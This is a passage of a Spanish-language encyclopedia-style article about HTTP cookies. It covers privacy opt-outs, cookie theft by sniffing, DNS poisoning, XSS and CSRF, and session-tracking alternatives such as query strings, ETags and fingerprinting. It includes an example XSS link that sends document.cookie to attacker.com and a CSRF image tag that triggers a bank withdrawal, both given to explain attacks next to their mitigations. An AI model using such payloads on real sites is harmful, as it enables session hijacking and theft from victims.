Muchos operadores publicitarios tienen una opción de exclusión voluntaria de la publicidad basada en el comportamiento, con una cookie genérica en el navegador que detiene la publicidad basada en el comportamiento. [91] [92] Sin embargo, esto a menudo es ineficaz contra muchas formas de seguimiento, como el seguimiento de primera parte que está ganando popularidad para evitar el impacto de los navegadores que bloquean las cookies de terceros. [93] [94] Además, si dicha configuración es más difícil de colocar que la aceptación del seguimiento, sigue infringiendo las condiciones de la Directiva sobre privacidad electrónica. [80]
La mayoría de los sitios web utilizan cookies como únicos identificadores de las sesiones de los usuarios, ya que otros métodos de identificación de los usuarios web tienen limitaciones y vulnerabilidades. Si un sitio web utiliza cookies como identificadores de sesión, los atacantes pueden suplantar las solicitudes de los usuarios robando un conjunto completo de cookies de las víctimas. Desde el punto de vista del servidor web, una solicitud de un atacante tiene la misma autenticación que las solicitudes de la víctima; por lo tanto, la solicitud se realiza en nombre de la sesión de la víctima.
A continuación se enumeran varios escenarios de robo de cookies y secuestro de sesiones de usuario (incluso sin robar cookies de usuario) que funcionan con sitios web que dependen únicamente de cookies HTTP para la identificación del usuario.
El tráfico de una red puede ser interceptado y leído por ordenadores de la red que no sean el emisor ni el receptor (en particular, a través de redes Wi-Fi abiertas sin cifrar ). Este tráfico incluye las cookies enviadas en sesiones HTTP ordinarias sin cifrar . Por tanto, cuando el tráfico de la red no está cifrado, los atacantes pueden leer las comunicaciones de otros usuarios de la red, incluidas las cookies HTTP, así como todo el contenido de las conversaciones, con el fin de llevar a cabo un ataque de intermediario .
Un atacante podría utilizar cookies interceptadas para hacerse pasar por un usuario y realizar una tarea maliciosa, como transferir dinero de la cuenta bancaria de la víctima.
Este problema se puede resolver asegurando la comunicación entre la computadora del usuario y el servidor mediante el uso del protocolo Transport Layer Security ( HTTPSSecure ) para cifrar la conexión. Un servidor puede especificar el indicador al configurar una cookie, lo que hará que el navegador envíe la cookie únicamente a través de un canal cifrado, como una conexión TLS. [46]
Si un atacante puede hacer que un servidor DNS almacene en caché una entrada DNS inventada (lo que se denomina envenenamiento de caché DNS ), esto podría permitirle obtener acceso a las cookies de un usuario. Por ejemplo, un atacante podría usar el envenenamiento de caché DNS para crear una entrada DNS inventada f12345.www.example.comque apunte a la dirección IP del servidor del atacante. El atacante puede entonces publicar una URL de imagen desde su propio servidor (por ejemplo, http://f12345.www.example.com/img_4_cookie.jpg). Las víctimas que lean el mensaje del atacante descargarían esta imagen desde f12345.www.example.com. Dado que f12345.www.example.comes un subdominio de www.example.com, los navegadores de las víctimas enviarían todas example.comlas cookies relacionadas con al servidor del atacante.
Si un atacante es capaz de lograr esto, normalmente es culpa de los proveedores de servicios de Internet por no proteger adecuadamente sus servidores DNS. Sin embargo, la gravedad de este ataque se puede reducir si el sitio web de destino utiliza cookies seguras. En este caso, el atacante tendría el desafío adicional [95] de obtener el certificado TLS del sitio web de destino de una autoridad de certificación , ya que las cookies seguras solo se pueden transmitir a través de una conexión cifrada. Sin un certificado TLS coincidente, los navegadores de las víctimas mostrarían un mensaje de advertencia sobre el certificado no válido del atacante, lo que ayudaría a disuadir a los usuarios de visitar el sitio web fraudulento del atacante y enviarle sus cookies.
Las cookies también se pueden robar mediante una técnica llamada cross-site scripting. Esto ocurre cuando un atacante se aprovecha de un sitio web que permite a sus usuarios publicar contenido HTML y JavaScript sin filtrar . Al publicar código HTML y JavaScript malicioso, el atacante puede hacer que el navegador web de la víctima envíe las cookies de la víctima a un sitio web que el atacante controla.
A modo de ejemplo, un atacante puede publicar un mensaje www.example.comcon el siguiente enlace:
< a href = "#" onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" > ¡Haga clic aquí! </ a >
Cuando otro usuario hace clic en este enlace, el navegador ejecuta el fragmento de código dentro del onclickatributo, reemplazando así la cadena document.cookiecon la lista de cookies a las que se puede acceder desde la página actual. Como resultado, esta lista de cookies se envía al attacker.comservidor. Si la publicación maliciosa del atacante se encuentra en un sitio web HTTPS https://www.example.com, también se enviarán cookies seguras a attacker.com en texto sin formato.
Es responsabilidad de los desarrolladores del sitio web filtrar dicho código malicioso.
Estos ataques se pueden mitigar mediante el uso de cookies HttpOnly. Los lenguajes de programación del lado del cliente, como JavaScript, no podrán acceder a estas cookies y, por lo tanto, el atacante no podrá recopilarlas.
En versiones anteriores de muchos navegadores, existían agujeros de seguridad en la implementación de la API XMLHttpRequest . Esta API permite que las páginas especifiquen un servidor proxy que recibiría la respuesta, y este servidor proxy no está sujeto a la política de mismo origen . Por ejemplo, una víctima está leyendo la publicación de un atacante en www.example.com, y el script del atacante se ejecuta en el navegador de la víctima. El script genera una solicitud a www.example.comcon el servidor proxy attacker.com. Dado que la solicitud es para www.example.com, todas example.comlas cookies se enviarán junto con la solicitud, pero se enrutarán a través del servidor proxy del atacante. Por lo tanto, el atacante podría recolectar las cookies de la víctima.
Este ataque no funcionaría con cookies seguras, ya que solo se pueden transmitir a través de conexiones HTTPS , y el protocolo HTTPS exige un cifrado de extremo a extremo (es decir, la información se cifra en el navegador del usuario y se descifra en el servidor de destino). En este caso, el servidor proxy solo vería los bytes cifrados y sin procesar de la solicitud HTTP.
Por ejemplo, Bob podría estar navegando en un foro de chat donde otro usuario, Mallory, ha publicado un mensaje. Supongamos que Mallory ha creado un elemento de imagen HTML que hace referencia a una acción en el sitio web del banco de Bob (en lugar de un archivo de imagen), por ejemplo:
<img src= "http://banco.ejemplo.com/retirar?cuenta=bob&monto=1000000¶=mallory" > Si el banco de Bob guarda su información de autenticación en una cookie, y si la cookie no ha expirado, entonces el intento del navegador de Bob de cargar la imagen enviará el formulario de retiro con su cookie, autorizando así una transacción sin la aprobación de Bob.
Cookiejacking es un ataque contra Internet Explorer que permite al atacante robar las cookies de sesión de un usuario engañándolo para que arrastre un objeto por la pantalla. [96] Microsoft consideró que la falla era de bajo riesgo debido al "nivel de interacción del usuario requerido", [96] y la necesidad de tener un usuario que ya haya iniciado sesión en el sitio web cuya cookie se roba. [97] A pesar de esto, un investigador intentó el ataque contra 150 de sus amigos de Facebook y obtuvo las cookies de 80 de ellos a través de ingeniería social . [96]
Además de las preocupaciones sobre la privacidad, las cookies también tienen algunos inconvenientes técnicos. En particular, no siempre identifican con precisión a los usuarios, pueden usarse para ataques de seguridad y a menudo no son compatibles con el estilo arquitectónico del software Representational State Transfer ( REST ). [98] [99]
Si se utiliza más de un navegador en un ordenador, cada uno suele tener un área de almacenamiento independiente para las cookies. Por tanto, las cookies no identifican a una persona, sino a una combinación de una cuenta de usuario, un ordenador y un navegador web. Por tanto, cualquiera que utilice varias cuentas, ordenadores o navegadores tiene varios conjuntos de cookies. [100]
Asimismo, las cookies no diferencian entre múltiples usuarios que comparten la misma cuenta de usuario , computadora y navegador.
Algunas de las operaciones que se pueden realizar mediante cookies también se pueden realizar mediante otros mecanismos.
Un token web JSON (JWT) es un paquete de información autónomo que se puede utilizar para almacenar información de identidad y autenticidad del usuario. Esto permite que se utilicen en lugar de las cookies de sesión. A diferencia de las cookies, que se adjuntan automáticamente a cada solicitud HTTP del navegador, los JWT deben adjuntarse explícitamente a cada solicitud HTTP de la aplicación web.
El protocolo HTTP incluye los protocolos de autenticación de acceso básico y de autenticación de acceso resumido , que permiten el acceso a una página web sólo cuando el usuario ha proporcionado el nombre de usuario y la contraseña correctos. Si el servidor requiere dichas credenciales para conceder acceso a una página web, el navegador las solicita al usuario y, una vez obtenidas, el navegador las almacena y las envía en cada solicitud de página posterior. Esta información puede utilizarse para rastrear al usuario.
La parte de la URL que corresponde a la cadena de consulta es la que se utiliza normalmente para este fin, pero también se pueden utilizar otras partes. Tanto el servlet de Java como los mecanismos de sesión de PHP utilizan este método si las cookies no están habilitadas.
Este método consiste en que el servidor web añada cadenas de consulta que contienen un identificador de sesión único a todos los enlaces dentro de una página web. Cuando el usuario sigue un enlace, el navegador envía la cadena de consulta al servidor, lo que permite que este identifique al usuario y mantenga el estado.
Este tipo de cadenas de consulta son muy similares a las cookies, ya que ambas contienen fragmentos de información arbitrarios elegidos por el servidor y ambos se envían de vuelta al servidor en cada solicitud. Sin embargo, existen algunas diferencias. Dado que una cadena de consulta es parte de una URL, si esa URL se reutiliza más adelante, se enviará el mismo fragmento de información adjunto al servidor, lo que podría generar confusión. Por ejemplo, si las preferencias de un usuario están codificadas en la cadena de consulta de una URL y el usuario envía esta URL a otro usuario por correo electrónico , esas preferencias también se utilizarán para ese otro usuario.
Además, si el mismo usuario accede a la misma página varias veces desde diferentes fuentes, no hay garantía de que se utilice la misma cadena de consulta cada vez. Por ejemplo, si un usuario visita una página desde una página interna del sitio la primera vez y luego visita la misma página desde un motor de búsqueda externo la segunda vez, las cadenas de consulta probablemente serían diferentes. Si se utilizaran cookies en esta situación, las cookies serían las mismas.
Otros inconvenientes de las cadenas de consulta están relacionados con la seguridad. El almacenamiento de datos que identifican una sesión en una cadena de consulta permite ataques de fijación de sesión , ataques de registro de referencia y otras vulnerabilidades de seguridad . La transferencia de identificadores de sesión como cookies HTTP es más segura.
Otra forma de seguimiento de sesiones es utilizar formularios web con campos ocultos. Esta técnica es muy similar a utilizar cadenas de consulta de URL para almacenar la información y tiene muchas de las mismas ventajas y desventajas. De hecho, si el formulario se maneja con el método HTTP GET, entonces esta técnica es similar a utilizar cadenas de consulta de URL, ya que el método GET agrega los campos del formulario a la URL como una cadena de consulta. Pero la mayoría de los formularios se manejan con HTTP POST, que hace que la información del formulario, incluidos los campos ocultos, se envíe en el cuerpo de la solicitud HTTP, que no es parte de la URL ni de una cookie.
Este enfoque presenta dos ventajas desde el punto de vista del rastreador. En primer lugar, al tener la información de rastreo ubicada en el cuerpo de la solicitud HTTP en lugar de en la URL, el usuario promedio no la notará. En segundo lugar, la información de la sesión no se copia cuando el usuario copia la URL (para marcar la página como favorita o enviarla por correo electrónico, por ejemplo).
Todos los navegadores web actuales pueden almacenar una gran cantidad de datos (2–32 MB) a través de JavaScript utilizando la propiedad DOMwindow.name . Estos datos se pueden utilizar en lugar de las cookies de sesión. La técnica se puede combinar con objetos JSON /JavaScript para almacenar conjuntos complejos de variables de sesión en el lado del cliente.
La desventaja es que cada ventana o pestaña independiente tendrá inicialmente una window.namepropiedad vacía cuando se abra.
En algunos aspectos, esto puede ser más seguro que las cookies debido al hecho de que su contenido no se envía automáticamente al servidor en cada solicitud como lo hacen las cookies, por lo que no es vulnerable a ataques de rastreo de cookies de red.
Algunos usuarios pueden ser rastreados en función de la dirección IP del ordenador que solicita la página. El servidor conoce la dirección IP del ordenador que ejecuta el navegador (o el proxy , si se utiliza alguno) y, en teoría, podría vincular la sesión de un usuario a esta dirección IP.
Sin embargo, las direcciones IP no suelen ser una forma fiable de rastrear una sesión o identificar a un usuario. Muchas computadoras diseñadas para ser utilizadas por un solo usuario, como las PC de oficina o las PC de casa, están detrás de un traductor de direcciones de red (NAT). Esto significa que varias PC compartirán una dirección IP pública. Además, algunos sistemas, como Tor , están diseñados para mantener el anonimato en Internet , lo que hace que el rastreo por dirección IP sea poco práctico, imposible o un riesgo para la seguridad.
Dado que el navegador almacena en caché las ETags y las devuelve con solicitudes posteriores del mismo recurso, un servidor de seguimiento puede simplemente repetir cualquier ETag que reciba del navegador para garantizar que una ETag asignada persista indefinidamente (de manera similar a las cookies persistentes). Los campos de encabezado de almacenamiento en caché adicionales también pueden mejorar la conservación de los datos de ETag.
Las ETags se pueden eliminar en algunos navegadores borrando el caché del navegador .
La memoria caché del navegador también se puede utilizar para almacenar información que se puede utilizar para rastrear a usuarios individuales. Esta técnica aprovecha el hecho de que el navegador web utilizará recursos almacenados en la memoria caché en lugar de descargarlos del sitio web cuando determine que la memoria caché ya tiene la versión más actualizada del recurso.
Por ejemplo, un sitio web podría ofrecer un archivo JavaScript con un código que establezca un identificador único para el usuario (por ejemplo, var userId = 3243242;). Después de la visita inicial del usuario, cada vez que éste acceda a la página, este archivo se cargará desde la memoria caché en lugar de descargarse desde el servidor. Por lo tanto, su contenido nunca cambiará.
La huella digital del navegador es información recopilada sobre la configuración del navegador, como el número de versión, la resolución de pantalla y el sistema operativo, con el fin de identificarlo. Las huellas digitales se pueden utilizar para identificar total o parcialmente a usuarios o dispositivos individuales incluso cuando las cookies están desactivadas.
Los servicios de análisis web han recopilado desde hace mucho tiempo información básica sobre la configuración del navegador web en un esfuerzo por medir con precisión el tráfico web humano real y descartar varias formas de fraude de clics . Con la ayuda de lenguajes de programación del lado del cliente , es posible recopilar parámetros mucho más esotéricos. [101] [102] La asimilación de dicha información en una sola cadena constituye una huella digital del dispositivo. En 2010, EFF midió al menos 18,1 bits de entropía posibles a partir de la huella digital del navegador. [103] La huella digital de Canvas , una técnica más reciente, afirma agregar otros 5,7 bits.
Algunos navegadores web admiten mecanismos de persistencia que permiten que la página almacene la información localmente para su uso posterior.
El estándar HTML5 (que la mayoría de los navegadores web modernos admiten hasta cierto punto) incluye una API de JavaScript llamada almacenamiento web que permite dos tipos de almacenamiento: almacenamiento local y almacenamiento de sesión. El almacenamiento local se comporta de manera similar a las cookies persistentes, mientras que el almacenamiento de sesión se comporta de manera similar a las cookies de sesión, excepto que el almacenamiento de sesión está vinculado a la duración de una pestaña o ventana individual (es decir, una sesión de página), no a una sesión completa del navegador como las cookies de sesión. [104]
Internet Explorer admite información persistente [105] en el historial del navegador, en los favoritos del navegador, en un almacén XML ("datos del usuario") o directamente dentro de una página web guardada en el disco.
Algunos complementos de navegadores web también incluyen mecanismos de persistencia. Por ejemplo, Adobe Flash tiene un objeto compartido local y Microsoft Silverlight tiene almacenamiento aislado. [106]
{{cite web}}: CS1 maint: unfit URL (link)
